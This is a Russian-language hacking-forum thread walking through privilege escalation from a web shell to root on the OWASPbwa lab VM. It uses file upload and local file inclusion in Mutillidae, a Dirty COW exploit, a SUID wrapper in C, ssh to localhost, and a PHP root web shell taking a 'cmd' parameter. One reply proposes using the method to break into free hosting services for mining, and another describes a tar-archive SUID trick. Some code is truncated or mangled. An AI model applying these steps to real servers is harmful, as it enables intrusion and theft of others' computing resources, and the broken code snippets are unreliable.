![]() |
Представьте, что у нас есть веб-шелл на сайте, но другого доступа к серверу, кроме как через веб, мы не имеем. При этом мы хотим повысить свои привилегии до root. Ниже я расскажу, как это можно сделать.
Для экспериментов я выбрал уязвимую виртуальную машину OWASPbwa. На ней установлена Ubuntu с ядром 2.6.32-25-generic-pae, имеющим уязвимость Dirty COW. Проэксплуатировав данную уязвимость, мы сможем повысить свои привилегии в системе до root. На гитхабе и exploit-db я нашел несколько подходящих эксплоитов, но успешно скомпилировался и сработал только один. И так, устанавливаем OWASPbwa, запускаем, дожидаемся загрузки и смотрим ip-адрес, к которому мы подключимся через браузер. Логиниться в ОС не нужно. https://forum.antichat.xyz/attachmen...4909c748a5.png Для чистоты эксперимента зальем веб-шел через какое-нибудь уязвимое приложение, коих тут предостаточно. Переходим в раздел Mutillidae II https://forum.antichat.xyz/attachmen...254a0ee3b1.png И в меню находим нужную нам уязвимость, с помощью которой зальем шелл на сервер https://forum.antichat.xyz/attachmen...17b5513489.png Веб-шелл загружен в директорию /tmp: https://forum.antichat.xyz/attachmen...a1af341ff7.png Надо как-то подключиться к нему. В этом нам поможет уязвимость local file include. Проверяем файл /etc/passwd https://forum.antichat.xyz/attachmen...ce77d317db.png Уязвимость есть. Таким же образом подключаем загруженый ранее шелл. Немного мешает обзору меню от Mutillidae II, но не критично: https://forum.antichat.xyz/attachmen...6c70b4bc7c.png Этот веб-шелл мы используем для того, что бы загрузить на сервер файл с кодом эксплоита, скомпилировать его и запустить на выполнение. Эксплоит создаст в системе нового пользователя codeby с паролем codeby с правами root. Скачиваем эксплоит отсюда - Linux Kernel 2.6.22 #include main ( int argc , char * argv [ ] ) { if ( argc == 3 ) { if ( strcmp ( argv [ 1 ] , "codeby" ) == 0 ) { setgid ( 0 ) ; setuid ( 0 ) ; system ( argv [ 2 ] ) ; } } return 0 ; } [/CODE] Загружаем файл на веб-сервер в /tmp и компилируем Код:
gcc suid.c -o suidКод:
chmod 4751 suidhttps://forum.antichat.xyz/attachmen...4e2217c1a0.png символ x сменился на символ s, бит suid установлен. Попробуем выполнить через наш suid-ник команду id. Часть экрана скрыта за меню, поэтому для ценителей особых извращений сделаю вот так - сохраню вывод команды в файл id: https://forum.antichat.xyz/attachmen...84e663a823.png и выведу содержимое файла в браузер: https://forum.antichat.xyz/attachmen...8cb377bcb5.png Команда выполнилась от пользователя www-data, как и ожидалось. Чтобы команда выполнилась от рута, нужно сделать владельцем suid-файла рута. И делать это надо конечно-же из под рута. Но как? Пользователю www-data нельзя выполнять команды от sudo или su. Выход такой — мы из веб-шелла выполним ssh-подключение к 127.0.0.1 с известным именем и паролем рут-пользователя (codeby:codeby) и выполним через ssh команду, которой сделаем пользователя codeby владельцем suid-файла: Код:
ssh античат @127.0.0.1 chown античат /tmp/suidBash: Код:
#!/usr/bin/expect -fКод:
chmod u+x script.shКод:
./script.shhttps://forum.antichat.xyz/attachmen...9cdf50b2ef.png Правда и suid-бит после смены владельца сбросился. Установим его еще раз от рута. Для этого в script.sh надо соответственно подправить отправляемую команду и выпонить скрипт. Теперь все нормально: https://forum.antichat.xyz/attachmen...f6a6a7caa1.png Пробуем выполнить через suid-файл команду id: https://forum.antichat.xyz/attachmen...53122b8c96.png https://forum.antichat.xyz/attachmen...fa0cd6e2de.png Как видим, теперь команда выполнилась от рута. Что ж, осталось автоматизировать использование шеллом нашего suid-файла, чтоб каждый раз не вводить./suid password foo bar, а сразу выполнять нужную команду. Возьмем такой простой php-вебшелл: PHP: Код:
Код:
system("/tmp/suid античат '$cmd' ");Что бы никакие боковые меню больше не мешали обзору, сразу переместим шелл в /var/www: Код:
./suid античат 'mv /tmp/root_shell.php /var/www/root_shell.php'Что бы выпонить команду, в адресной строке используйте параметр cmd: https://forum.antichat.xyz/attachmen...3f4ea46471.png Команда id выпонилась от root (codeby) https://forum.antichat.xyz/attachmen...f8310cd61d.png На этом все. Спасибо, если дочитали и затестили способ ) |
у меня вот мысля есть по данной статье) наверное майнерам будет интересно или тем кому нужен ВПС) вот к примеру есть такие сервисы которые дают халявный хостинг) их валом в сети! так вот если регнутся , грузануть туда шелл добратся до рута и все ... дальше уже прогружаем все что нужно ;-) идея не нова уже я про это думал в эпоху майнинга то есть давно)
|
Прикольно, но есть способ проще: когда в линуксах создаешь tar-архив, он запоминает в себе идентификаторы владельцев/группы файлов. При таком раскладе, если создать .tar.gz архив со скомпилированным на своей машине от имени рута SUID-шеллом, залить и распаковать его на жертве, то можно избежать плясок с ssh до локалхоста. Примерно так я делал, когда боролся с TarTarSouce.
|
| Время: 08:49 |